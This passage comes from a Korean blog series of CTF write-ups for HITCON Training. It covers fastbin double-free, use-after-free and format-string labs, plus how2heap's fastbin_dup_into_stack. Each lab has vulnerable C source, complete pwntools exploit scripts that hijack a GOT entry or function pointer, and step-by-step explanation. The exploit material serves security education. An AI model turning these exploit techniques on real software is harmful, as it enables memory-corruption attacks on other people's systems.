  입력받은 인덱스의 유효성 검사(0 ~ 100의 범위 외) 이거나 해당 인덱스에 값이 없는 경우 

- "Invalid choice" 출력 후 프로그램을 종료합니다.

위의 경우가 아니면

- 해당 인덱스의 구조체 valid 멤버변수를 0으로 setting합니다.

- 해당 인덱스의 구조체 name 멤버변수의 메모리를 해제합니다.

- "Successful" 출력

- 구조체는 메모리 해제하지 않으며, flowerlist에서도 지우지 않습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int del(){
    unsigned int index ;
    if(!flowercount){
        puts("No flower in the garden");
    }else{
        printf("Which flower do you want to remove from the garden:");
        scanf("%d",&index);
        if(index < 0 ||index >= 100 || !flowerlist[index]){
            puts("Invalid choice");
            return 0 ;
        }
        (flowerlist[index])->vaild = 0 ;
        free((flowerlist[index])->name);
        puts("Successful");
    }
}



fastbin attack이 가능한 조건은 아래와 같습니다.


- 동일한 크기의 Fast chunk의 할당과 해제가 자유로워야한다.

- 공격자에 의해 해제된 Fast chunk를 한번 더 해제 할 수 있어야 한다.(Double Free Bug)

- 공격자에 의해 할당된 Fast chunk 영역에 값을 저장 할 수 있어야 한다.

- 할당 받고자 하는 메모리 영역에 해제된 Fast chunk의 크기 값이 저장되어 있어야한다.


소스코드를 분석해 보았을 때, add()함수 내에서 크기 값을 입력하여 Fast chunk의 할당이 자유롭고 할당된 메모리 내에 값을 쓸 수 있으며 

del()함수를 통해 메모리 해제 역시 자유롭습니다. 앞선 포스팅에서 봤듯이 메모리를 할당한 후 a -> b -> a의 형태로 메모리 해제를 하면,

fastbin attack이 가능 할 것으로 보입니다.


3. Exploit 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
= process('./secretgarden')
 
def raiseflower(length,name,color):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)
    r.recvuntil(":")
    r.sendline(color)
 
def visit():
    r.recvuntil(":")
    r.sendline("2")
    
def remove(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
 
def clean():
    r.recvuntil(":")
    r.sendline("4")
    
magic = 0x400c7b 
fake_chunk = 0x601ffa
 
raiseflower(80,"tulip","red")#0
raiseflower(80,"rose","blue")#1
remove(0)
remove(1)
remove(0)
raiseflower(80,p64(fake_chunk),"blue")
raiseflower(80,"sunflower","red")
raiseflower(80,"bach","green")
raiseflower(80"a"*6 + p64(0+ p64(magic)*2 ,"red")#malloc in fake_chunk
 
r.interactive()



exploit 코드를 살펴보겠습니다.

코드의 메인 아이디어는 호출 하고 싶은 함수(magic)의 주소를 적어두고, 이 주소를 puts함수의 got에 써주어 exploit을 하려고합니다.


첫 번째로 35 ~ 39라인 에서 메모리를 두 개 할당 하여 a->b->a의 순서로 메모리를 해제하였습니다.

그리고 puts의 got(0x602020)에 써주기 위해 fake_chunk를 0x601ffa를 선정하였는데 이유는 80바이트(0x50) + chunk header(0x10)값이 적힌 곳

써주어야 하기 때문입니다. 이 부분이 이해가 안간다면 앞에 포스팅 한 글에서 chunk사이즈를 맞춰주어야 한다는 부분을 다시 보고오시기 바랍니다.


 


0x601ffa의 주소를 출력한 화면입니다. 0x601ffa + 0x8에 0xe150000000000060 값이 쓰여져 있습니다.

이 곳에 설명한대로라면 0x0000000000000060 값이 써져있어야 하지만 상위 바이트에 다른 값이 추가로 더 붙어있음을 알 수 있습니다.

운영체제에서 검사하는 메모리의 크기는 하위 4바이트를 이용해 확인하기 때문에 상위 4바이트에 있는 값은 무시할 수 있습니다.

이에 대해 자세한 내용은 http://veritas501.space/2017/05/23/HITCON-training%20writeup/ 의 lab12파트를 확인해주시기바랍니다.


따라서 0x601ffa를 fake_chunk의 주소로 선정해주어 메모리를 할당 받고 사용할 수 있는 주소는 0x60200a부터입니다.

0x602020에 값을 덮어쓰기 위해서는 0x602020 - 0x601ffa = 0x16(22) 이고, 따라서 앞의 dummy가 22바이트 필요합니다.


43라인에서 "a"*14 + p64(magic)*2 를 하여(6byte + 8byte + 16byte) 26byte를 써 magic함수가 0x602020에 써질 수 있도록

페이로드를 작성하였습니다.

 

끗!


1. 시작하기전에...

이번 문제에 대한 포스팅은 내용이 길어질 것 같아서 두 개로 분할해서 포스팅하려고합니다.

먼저 이 글에서는 Allocated Chunk(할당된 Heap)의 형태와 Free Chunk(해제된 Heap)을 알아본 후 how2heap의 예제를 통해 Fastbin Attack의 개념을 적어보려고합니다.

이후 다음 포스팅에서 HITCON Taining lab12의 문제의 라이트업을 쓰도록 하겠습니다.


1-1. Allocated Chunk

메모리가 할당이 되면 아래와 같은 모습을 같는 chunk가 생성됩니다.

맨 위에서부터 차례로 설명을 해보겠습니다. 32bit에서는 4byte, 64bit에서는 8byte로 메모리 상 자신 보다 이전의 chunk의 크기를

저장하는 prev_size필드가 존재합니다. 테스트 해본 결과 앞에 있는 chunk가 없다면 0으로 set되는 것을 확인하였습니다.


그 다음으로 오는 필드는 자기 자신의 크기를 기록합니다. 유저가 사용하는 영역뿐만 아니라 그림에 표현된 chunk 전체의 크기이며,

마지막 3bit는 이전 청크 혹은 현재 청크의 상태를 표현하기 위한 flag로써 사용하는데 자세한 내용은 생략하겠습니다.


위 두 필드를 지나면 사용자가 할당받아 사용하는 공간이 위치합니다. 그리고 마지막으로는 binlist상 다음에 존재하는 chunk의 크기가 기록됩니다.


OS 사용주소 라고 적어놓은 뜻은 binlist에서 관리되는 chunk의 주소를 표현하고 싶어서 저렇게 적어 놓았고,

User 사용주소 라고 적은 것은 실제로 유저가 메모리를 받을 때(malloc, calloc 등을 통해) 리턴 받는 주소라 User사용 주소로썼습니다.


 

1-2. Free Chunk

메모리가 해제된 Chunk는 Allocated Chunk와 비슷하지만 다른 형태를 갖습니다.

상위 두 필드는 같은 용도로써 유지되지만 User사용 영역이였던 곳이 binlist에서 앞 뒤 chunk를 가르키는 포인터 값이 저장 됩니다.

fastbin 같은 경우에는 single linked list이기때문에, forward pointer to next chunk in list(fd)영역에만 값이 쓰여지고 back pointer to next chunk in list(bk)는 필드는 존재하지만 값이 세팅 되지 않습니다.


size of chunk의 하위 3bit flag에 대한 내용을 포함한 더 자세한 사항은 아래 링크 첨부해 드립니다.

[참조] https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk.html (영문)

[참조] https://www.lazenca.net/pages/viewpage.action?pageId=1147929 (한글)


2. how2heap - fastbin_dup_into_stack


how2heap에 fastbin attack에 대한 내용을 코드로 설명을 한 것이 있어 이 것을 같이 보려고합니다.


아래는 fastbin_dup_into_stack.c 의 코드입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");
 
    unsigned long long stack_var;
 
    fprintf(stderr, "The address we want malloc() to return is %p.\n"8+(char *)&stack_var);
 
    fprintf(stderr, "Allocating 3 buffers.\n");
    int *= malloc(8);
    int *= malloc(8);
    int *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
 
    fprintf(stderr, "Freeing the first one...\n");
    free(a);
 
    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
 
    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);
 
    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
 
    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n"malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
 
    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *= (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n"malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n"malloc(8));
}


 

fastbin attack의 목적은 메모리 할당을 받는 공간을 우리가 원하는 곳으로 컨트롤 하기 위함입니다. 예를 들어 stack공간이라던지, got 테이블이라던지

원하는 공간에 메모리를 할당 받아서 사용할 수 있다는 것입니다.


14 ~ 16라인에서 세 개의 메모리를 할당 받았습니다. (a, b, c) 그 후 메모리 해제를 하는데 순서는 a -> b -> a로 해제를 합니다.

그 이유는 해제된 메모리를 연달아서 해제 할 수 없기 때문인데, fastbin에서는 binlist에 top에 있는 주소를 검사하여 해당 주소는 해제 할 수 없게 되어있습니다. 그래서 a를 두 번 해제하기 위해 a -> b -> a의 순서로 해제 하는 것입니다. 왜 a를 두번 해제 해야하는 지는 아래에서 다시 설명하겠습니다.


지금까지 진행 된 상황에서 fastbin list의 모습을 그려보도록 하겠습니다.



a와 b는 현재 free된 상태이니 Free Chunk의 구조를 가지게 될 것입니다. 또한 a, b, c는 크기가 작아 fastbin에 속하니 fastbin list이기 때문에 single linked list에 속하게 됩니다.


맨 처음 해제 된 a는 FD에 b의 주소를 가르키고 b의 FD는 a를 가리키는 모습이 됩니다. 이 상태에서 36 라인에서 부터 메모리를 다시 할당 하기 시작합니다. 


처음 메모리를 요청 받으면 a의 주소를 리턴해줍니다. 다음에 메모리를 요청 받았을 때 리턴해 줄 주소는 a의 FD에 적혀있는 b의 주소입니다.

다음 메모리를 요청 받으면 b의 주소를 리턴해줍니다. 다음에 메모리를 요청 받았을 때 리턴해 줄 주소는 b의 FD에 적혀있는 a의 주소입니다.


현재는 Tail쪽에 있는 a의 FD에는 값이 없습니다. 하지만 처음 메모리를 요청 했을 때 a를 리턴 받기 때문에 우리가 핸들링 할 수 있습니다.

메모리를 할당 받은 후 a의 FD에 우리가 원하는 주소 값을 써준다면 우리가 원하는 곳의 메모리를 할당 받을 수 있는 것입니다.

FD에 우리가 원하는 주소 값을 써주는 것은 특별한 테크닉이 필요한 것은 아닙니다. 왜냐하면 해제된 메모리의 FD필드는 할당받은 메모리의

contents에 해당하기 때문에 그저 주소 값을 적어주면 됩니다.


여기서 한 가지 놓치지말아야 할 점은 해당 공간에 size of chunk를 맞춰 주어야 한다는 것입니다.

이 예제에서는 stack_var = 0x20 이라는 것으로 size를 맞춰 주고있습니다.


64bit환경에서 a,b,c는 8바이트를 할당 받아서 chunk의 크기는 0x20 = 32byte입니다.

size of previous chunk = 8byte

size of chunk = 8byte

contents = 8byte

next chunk size = 8byte 로 최소 할당 사이즈입니다. (32bit환경은 16byte)


우리가 사용하고 싶은 주소 - 16byte를 a에 써주고, 우리가 사용하고 싶은 주소 - 8byte에 할당 받는 사이즈를 맞춰주는 사전작업을해야

원하는 공간에 메모리를 할당 받을 수 있습니다.  

이러한 이유로 48라인에서 stack_var의 주소 - 8byte로 d의 값을 지정하고 스택공간에 메모리를 할당 받게 한 것입니다.




끗!


=====

2018.02.27 prev_size관련 수정


1. 시작하기전에...

이번 문제를 풀면서 할당된 heap메모리의 해제, 그리고 재할당에 대하여 조금 알게 되었습니다.

여전히 힙알못이라ㅠㅠ heap에 대해 알아가야 할 것들이 많은 것 같네요.. 


이번 포스팅에서 살펴볼 것은 heap의 First Fit과 Use After Free에 대한 내용입니다. 이번 문제의 HITCON Training의 부제가 UAF(Use After Free)여서

간단할 거라고 생각했다가 First Fit개념을 몰라서 한참 해맸습니다.


1-1. First Fit

First Fit을 이해하기 위한 선행지식이 조금 있지만 여기서는 많이 후려쳐서(?) 설명을 해보겠습니다.

먼저, heap의 할당과 해제를 효율적으로 하기위해 해제된 메모리를 핸들링하는 리스트들이 있습니다. 이 리스트들은 메모리 덩어리(chunk)들의 크기에 따라 다양하게 있지요. 자세한건 뒷 포스팅으로 넘기고.. 우선 그런 리스트들이 있다 정도만 인지하고 갑시다.


이 리스트는 새롭게 메모리가 해제될 때마다 tail쪽, 그러니까 리스트의 끝 쪽으로 삽입이 됩니다. 그리고 메모리 할당 요청이 오면 head쪽에서 부터 적당한

메모리가 있는지 검색을 해서 내어주게 됩니다.


char *a = malloc(20);     // 0xe4b010
char *b = malloc(20);     // 0xe4b030
char *c = malloc(20);     // 0xe4b050
char *d = malloc(20);     // 0xe4b070

free(a);
free(b);
free(c);
free(d);

a = malloc(20);           // 0xe4b070
b = malloc(20);           // 0xe4b050
c = malloc(20);           // 0xe4b030
d = malloc(20);           // 0xe4b010

이런 코드가 있을 때, 아래와 같은 순서가 된다는 것이지요.


  1. 'a' 메모리 해제

    head -> a -> tail

  2. 'b' 메모리 해제

    head -> b -> a -> tail

  3. 'c' 메모리 해제

    head -> c -> b -> a -> tail

  4. 'd' 메모리 해제

    head -> d -> c -> b -> a -> tail

  5. 'malloc' 요청

    head -> c -> b -> a -> tail [ 'd' is returned ]

  6. 'malloc' 요청

    head -> b -> a -> tail [ 'c' is returned ]

  7. 'malloc' 요청

    head -> a -> tail [ 'b' is returned ]

  8. 'malloc' 요청

    head -> tail [ 'a' is returned ]


그리고, 아래와 같은 특징도 있습니다.


char *a = malloc(300);    // 0x***010
char *b = malloc(250);    // 0x***150

free(a);

a = malloc(250);          // 0x***010
  1. 'a' 메모리 해제

    head -> a -> tail

  2. 'malloc' 요청

    head -> a2 -> tail [ 'a1' is returned ]


300바이트가 할당된 a가 해제 된 후 250바이트 요청이 들어왔습니다.

리스트에 300바이트짜리 a가 들어있었는데 250바이트가 요청 들어온 상황인데요, 이럴 때엔 300바이트의 공간이 a1과 a2로 쪼개져서 250바이트를 리턴해주고, 50바이트짜리 a2가 리스트에 남게 됩니다. 사이즈가 같으면 a가 통째로 리턴되고요. 단, 20바이트 이하인 경우에는 따로 핸들링이 되기 때문에(fastbin) 이 내용은 해당하지 않습니다.


이 순서와 과정 자체는 취약점이 아니라 리눅스에서 heap메모리를 핸들링하는 과정일 뿐입니다. 다만, 이런 로직을 알고 있어야 heap 공격을 할 수있겠죠.


[참고사이트] https://heap-exploitation.dhavalkapil.com/attacks/first_fit.html

위 참고 사이트는 first_fit뿐만이 아니라 heap의 전반적인 내용, heap exploitation이 상세히 설명되어있습니다.  

 

1-2. Use After Free

UAF는 말그대로 "메모리 해제를 한 다음에 사용을 한다" 는 이야기 입니다.

메모리 해제를 한 후에 그 heap공간을 보면 0이라던지 NULL과 같은 값으로 초기화 되지 않고 전에 사용했던 값이 그대로 남아 있습니다.

실수로 짜여져 로직 상 어떠한 이유로 해제 된 이후 그 공간을 재사용한다면, 의도치 않은 행위 혹은 값을 쓰게 됩니다.

자세한 설명은 아래 참고 사이트에 저어어어엉말 잘 설명되어있습니다.


[참고사이트] https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/  



2. 분석

그럼 문제를 살펴볼까요? hacknote.c에 대한 내용입니다. 이번 문제는 코드의 양이 많아 주요 부분만 잘라서 보도록하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int main(){
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    char buf[4];
    while(1){
        menu();
        read(0,buf,4);
        switch(atoi(buf)){
            case 1 : 
                add_note();
                break ;
            case 2 : 
                del_note();
                break ;
            case 3 : 
                print_note();
                break ;
            case 4 : 
                exit(0);
                break ;
            default :
                puts("Invalid choice");
                break ;
 
        }
    }   
    return 0;
}
cs


우선 메인입니다. 메뉴를 프린트 해주고 선택받은 메뉴번호(1~4)에 따라 노트추가, 노트 삭제, 노트 출력 등의 기능을 하는 함수를 호출하고있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct note {
    void (*printnote)();
    char *content ;
};
 
struct note *notelist[5];
 
void add_note(){
    int i ;
    char buf[8];
    int size ;
    if(count > 5){
        puts("Full");
        return ;
    }
    for(i = 0 ; i < 5 ; i ++){
        if(!notelist[i]){
            notelist[i] = (struct note*)malloc(sizeof(struct note));
            if(!notelist[i]){
                puts("Alloca Error");
                exit(-1);
            }
            notelist[i]->printnote = print_note_content;
            printf("Note size :");
            read(0,buf,8);
            size = atoi(buf);
            notelist[i]->content = (char *)malloc(size);
            if(!notelist[i]->content){
                puts("Alloca Error");
                exit(-1);
            }
            printf("Content :");
            read(0,notelist[i]->content,size);
            puts("Success !");
            count++;
            break;
        }
    }
}
cs


note구조체와 이 구조체들을 핸들링하기위한 전역변수 배열(notelist)이 있습니다.

note구조체에는 내용을 프린트 하는 printnote()의 주소를 담을 함수포인터 변수와, 노트의 내용이 적힐 문자열 포인터content 변수가 있네요.


addnote()함수를 살펴보면 먼저, 최대 갯수인 5개를 넘는지 count검사를 합니다. 5개를 초과하려고하면 더이상 추가를 안해주죠

count가 5개 이하면 노트를 추가하는데 로직은 아래와 같습니다.


1) for문(0 to 4)을 돌면서 비어있는 notelist의 공간을 찾는다.

2) 비어있는 notelist를 찾았다면, 그 공간에 note구조체 만큼 사이즈를 할당한다.

3) 할당한 note구조체의 printnote 함수포인터에 print_note_content 주소를 넣어준다.

4) 노트 사이즈를 입력받고 그 사이즈만큼 note구조체의 content에 메모리할당을 해준다.

5) content를 사이즈만큼 입력받아 써주고 전체 노트의 갯수인 count를 1 증가시켜준다.


뒤에서 한번 더 말씀드리겠지만 여기서 눈여겨 보실 곳은 3번과 4번입니다. 메모리 할당 순서에 대해 기억해주세요.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void del_note(){
    char buf[4];
    int idx ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= count){
        puts("Out of bound!");
        _exit(0);
    }
    if(notelist[idx]){
        free(notelist[idx]->content);
        free(notelist[idx]);
        puts("Success");
    }
}
cs


다음은 노트를 지우는 del_note입니다. 노트를 지우는 것이니 메모리 해제가 있겠죠?

간단히 삭제할 노트의 index를 입력받고 index가 유효한지 검사합니다. 그리고 해당 index에 노트가 들어있다면

노트의 content를 해제하고나서 notelist에 할당되어있는 note구조체를 해제합니다.


먼저, 노트 다섯개가 모두 할당 되어 있는 형태를 그려봅시다.

대략 이런 모습이겠죠? 전역변수로 선언되어 있는 배열 notelist가 각각 heap에 동적으로 할당된 notel들의 주소를 하나씩 가지고 있을 거에요

그리고 그 노트의 print함수의 주소는 같은 값이겠지만, 4바이트의 함수의 주소를 가지고 있을 테고 다음 4바이트는 content의 주소를 가지고 있겠지요.

구조체의 사이즈는 총 8바이트가 될거에요.


여기서 예를 들어 notelist[0]을 메모리 해제하면 어떤 일이 일어날까요? 바로 위에서 본 del_note()의 메모리 해제 순서와 first fit을 생각해봅시다.

del_note()에서 메모리해제는 content를 해제하고나서 구조체를 해제했죠? 그리고 first fit에는 어떻게 추가 될까요?


head -> notelist[0] -> notelist[0]`s content -> tail


이런 형식으로 리스트에 메모리 공간이 추가가 될거에요.

여기서 한번 더 notelist[1]을 해제하면??


head -> notelist[1] -> notelist[1]`s content -> notelist[0] -> notelist[0]`s content -> tail


해제 순서에 따르면 리스트는 저렇게 유지가 되고 있을거에요. 메모리 사이즈까지 적어서 한번 다시 봅시다.


head -> notelist[1] (8byte) -> notelist[1]`s content (?) -> notelist[0] (8byte) -> notelist[0]`s content (?) -> tail



자, 이 상태에서 하나의 노트를 추가 한다고 해봅시다. 사이즈는 8바이트로요! 왜 하필 8바이트일까요?

그건 notelist[0]의 자리에 원하는 값을 쓰기 위함입니다.


add_note()를 다시 따라가 봅시다. 새로 생성되는 note는 구조체 메모리 만큼(8바이트) 할당을 받아요.

그럼 위 리스트의 head쪽에 가까운 8바이트를 할당 받겠죠? 거기가 어디냐면 notelist[1]의 구조체가 있던 자리에요.

거기에 새로운 구조체가 할당 받아 질거에요. 그리고 한번 더 8바이트 만큼 요청하면 notelist[0]가 있던 곳의 8바이트를 할당 받겠죠.


바로 요 모습이 될거에요. 이제 감이 슬슬 잡히죠. 새롭게 할당 된 content자리는 notelist[0]이 할당되어 있던 자리이고, 앞의 4바이트는 notelist[0]의 내용을 print해주는 함수의 주소가 있던 자리이지요.


그렇담, 저기에 원하는 함수의 주소를 써넣은 후 notelist[0]를 print한다면 원하는 함수를 호출 할 수 있게 됩니다.



3. exploit


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process("./hacknote")
 
 
def addnote(size,content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)
 
def delnote(idx):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))
 
def printnote(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))
 
magic = 0x08048986
addnote(24,"JSbach")
addnote(24,"uisoo")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
 
log.info(p.recv())
cs


분석란에서 설명한 로직을 그대로 exploit코드로 옮겼습니다.

처음엔 24바이트씩 두번 노트를 생성하고 해제를 0번, 1번 순서대로 메모리를 해제했습니다.

그리고 8바이트 크기로 한번더 노트를 생성할 때 content에 우리의 목표인 magic함수의 주소를 써주어 exploit에 성공했습니다.



끗!



1. 시작하기전에...


Format String Bug

포맷 스트링 버그는 취약점 공격에 사용될 수 있는 보안 취약점으로써 1989년 경에 발견되었다. 이전에는 위험하지 않다고 여겨졌지만, 포맷 스트링 익스플로잇은 프로그램을 충돌시키거나 악의적인 코드를 실행 시키는데 사용될 수 있다. 문제는 포맷팅을 수행하는 printf() 같은 특정한 C 함수들에서 검사되지 않은 사용자 입력을 포맷 스트링 파라미터로 사용하는 것으로부터 나온다. 악의적인 사용자는 %s와 %x 포맷 토큰들을 콜 스택 또는 메모리의 가능한 다른 위치의 데이터를 보이게 하는 데 사용할 수 있다. 또한 %n 포맷 토큰을 사용해서 임의적인 데이터를 임의적인 위치로 쓸 수 있는데, 이것은 printf() 와 비슷한 함수들이 많은 바이트들을 스택에 저장된 주소에 쓰게 한다.


[참조] https://ko.wikipedia.org/wiki/%ED%8F%AC%EB%A7%B7_%EC%8A%A4%ED%8A%B8%EB%A7%81_%EB%B2%84%EA%B7%B8

[참고사이트] http://blog.naver.com/PostView.nhn?blogId=haks2198&logNo=220840244540&categoryNo=0&parentCategoryNo=0&viewDate=&currentPage=1&postListTopCurrentPage=1&from=postView


포맷스트링 버그의 핵심만 요약하자면, printf와 같은 포맷스트링을 인자로 받는 함수에서 변환명세(%x, %c, %d와같은)의 갯수와 동일하게 스택에서 pop하여 출력하는 것에서 부터 시작합니다. 또한 %n은 앞에서 출력한 문자열의 사이즈를 해당 변수에 저장하는데, 이것들을 조합하여 해커가 원하는 메모리 공간에 임의의 원하는 값을 쓸 수 있게 되는 것이지요.


개인적인 생각으로는 많은 취약점들이 프로그래머의 실수에서 부터 시작되기는 하지만, Format String Bug같은 경우에는 특히나 더 실수 의존도(?)가 더 높은 것 같습니다. 다만, 이 취약점이 있다면 해당 주소에 정확히 값을 덮어 쓰기 때문에 canary같은 메모리 보호기법에 영향을 받지 않아 꽤나 강력하다고 생각됩니다. 


포맷스트링버그의 자세한 개념과 페이로드 작성방법은 이 포스팅에서 생략하도록 하겠습니다. 참고사이트를 참고해주세요.

이 포스팅에서는 쉽고 쎈 pwntools의 fmtstr_payload를 사용하여 exploit하는 방법에 대해서 설명하려고 합니다. 


2. 분석

craxme.c

1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
 
int magic = 0 ; 
 
int main(){
    char buf[0x100];
    setvbuf(stdout,0,2,0);
    puts("Please crax me !");
    printf("Give me magic :");
    read(0,buf,0x100);
    printf(buf);
    if(magic == 0xda){
        system("cat /home/craxme/flag");
    }else if(magic == 0xfaceb00c){
        system("cat /home/craxme/craxflag");
    }else{
        puts("You need be a phd");
    }   
 
}
cs


가장 먼저 전역변수 magic이 0으로 초기화 되어 있습니다. 메인함수가 시작되면 "Please crax me !" 을 출력한 다음

Give me magic : 이후 buf공간에 0x100(256) 바이트 만큼 read하고 있는데, 버퍼 사이즈만큼 read하고 있기 때문에, BOF는 발생하지 않아보입니다.


이후에는 0으로 초기화된 maigc의 값이 0xda이면 cat /home/craxme/flag를 실행하고, 0xfaceb00c이면 cat /home/craxme/craxflag 를 실행합니다.

이도저도아니면 You need be a phd.를 출력하고 프로그램은 끝나게되겠습니다.


위에 참고사이트로 적어드린 곳을 보고 오셨다면 어느부분이 취약한 지 바로 보이시겠죠?

read직후에 버퍼를 출력해주는 printf(buf); 이 부분에서 printf에 포맷스트링을 쓰지않아 포맷스트링 버그가 발생하게 됩니다.


3. exploit


1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
context.log_level = 'debug'
magic_addr = 0x0804a038
offset = 7 
 
proc = process("./craxme")
 
proc.recv()
payload = fmtstr_payload(offset, {magic_addr:0xda})
 
proc.sendline(payload)
log.info(proc.recvuntil('!'))
 
 
proc = process("./craxme")
 
proc.recv()
payload = fmtstr_payload(offset, {magic_addr:0xfaceb00c})
 
proc.sendline(payload)
log.info(proc.recvuntil('!'))
 
cs


※이 문제풀이를 로컬에서 했기 때문에, c소스에서 지정하고있는 경로에 flag파일들을 미리 만들어 두고 시작합니다.


자, 그럼 exploit코드를 보겠습니다. 라고 하기 무색할만큼 차떼고 포떼면 한줄 밖에 안남아요ㅠ

핵심은 fmtstr_payload 함수에 있습니다.


[pwntools] http://docs.pwntools.com/en/stable/fmtstr.html 

위 링크를 보시면 pwntools공식 사이트에 fmtstr_payload가 설명되어있는 페이지를 보실 수 있습니다. 아래는 사이트에서 해당부분을 캡쳐한 것 입니다.


파라미터 중 offset에 관해서 한번 보도록하죠.

설명에서는 the first formatter’s offset you control 라고 되어있습니다. 

해석만해보면 컨트롤 할 첫 번째 포맷터의 오프셋.. 정도가 될텐데 사실 전 이것만 보고는 ?? 이게 무슨말이지 라고 생각했었더랬죠ㅠㅠ

자, 그래서 이게 무슨말이냐면 쉽게 말해서 현재 출력하고 있는 버퍼가 스택 상에서 실제 어디에 있느냐 정도가 되겠습니다.

아직 감이 잘 안오시나요? 아래 그림을 한번 봐주세요.



첫 번째 그림을 보면 read를 실행하는 main+100에서 브레이크포인트를 잡아서 찍어본 스택의 상황입니다. read함수의 인자로 들어간 buf의 주소가 가운데 0xffffd0dc에요.


두 번째 그림을 보면 aaaa %8x %8x %8x %8x %8x %8x %8x 을 넣어 실행한 결과이지요. 두 실행 시기가 달라 메모리주소는 약간 다릅니다만, 만약 같은 시기에 찍었다면 0xffffd0dc와 ffa2996c가 같은 값이 나왔을 것이고, f7ffd000가 f771a000으로 같은 값이 나왔을 거에요.


이제 슬슬 offset의 의미가 감이 오시나요? 포맷스트링 버그에 %x등의 변환명세를 집어 넣었을 때, 버퍼의 값을 찍을 수 있는 거리가 offset이 된다는 이야기입니다.


aaaa 이후 %8x를 일곱개를 넣어 aaaa의 값인 61616161을 찍을 수 있었 듯이 말이지요.


exploit에 이용한 fmtstr_payload함수를 다시 볼게요. offset이후에 딕셔너리 인자가 하나 들어갔습니다. 딱 봐도! 어디에다 무엇을 쓰고 싶은지를 넣어주는 딕셔너리 객체라는 것을 알 수 있으시겠지요.


magic자리에 문제에서 요구하는 0xda와 0xfaceb00c을 넣어주겠다 라고 지정하면, 요구사항에 맞게 포맷스트링 버그를 exploit할 수 있는 페이로드를 리턴해줍니다. 이거 그냥 보내기만 하면돼요.


다들 아시겠지만 혹시나 하는 마음에... 한 가지 팁으로 magic의 주소는 어떻게 알아낼까요?


gdb에서 info variables 라는 명령어를 입력하면 전역변수들의 주소를 알 수 있어요.


결과보고 포스팅 마치겠습니다.



디버그모드로 exploit코드를 실행하였기 때문에 어떤 페이로드를 보냈고, 어떤 결과를 받았는지 dump된 형태로 살펴 볼 수 있습니다.


끝!

1. 시작하기전에...


- Stack Migration(Stack Pivoting)?

HITCON Training의 부제는 migration 입니다. stack migration의 의미를 모르고 문제로 바로 ㄱㄱ했다가 사경을 헤메다...

writup컨닝으로  eip를 바로 컨트롤 하지 않는 것을 보고 이게 무엇일까 하고 많은 고민을 하였죠..


stack의 베이스포인터를 같이 컨트롤 해주면서 스택영역을 자신이 원하는 곳으로 옮깁니다. 그래서 Stack Migration(이주) 라는 표현을 쓴 것 같네요.

구글신님께 간절히 빌어보고, 주변지인찬스를 써본 결과 윈도우 쪽에서는 Stack Pivoting이라는 것이 여기서 말하는 Stack Migration과 같다는 것을

알게되었습니다.


그래서 도대체 이런 짓을 왜 하느냐...


전에 어떤 BOF 관련 문제를 풀 때 분명히 eip의 값이 바뀌는 것 까지 gdb로 확인을 한 후 페이로드를 작성해서 날렸음에도 불구하고.. 프로그램의 흐름이 컨트롤 되지 않는 현상을 겪었습니다. 그때는 왜 안되는지 도무지 알수가 없었습니다.


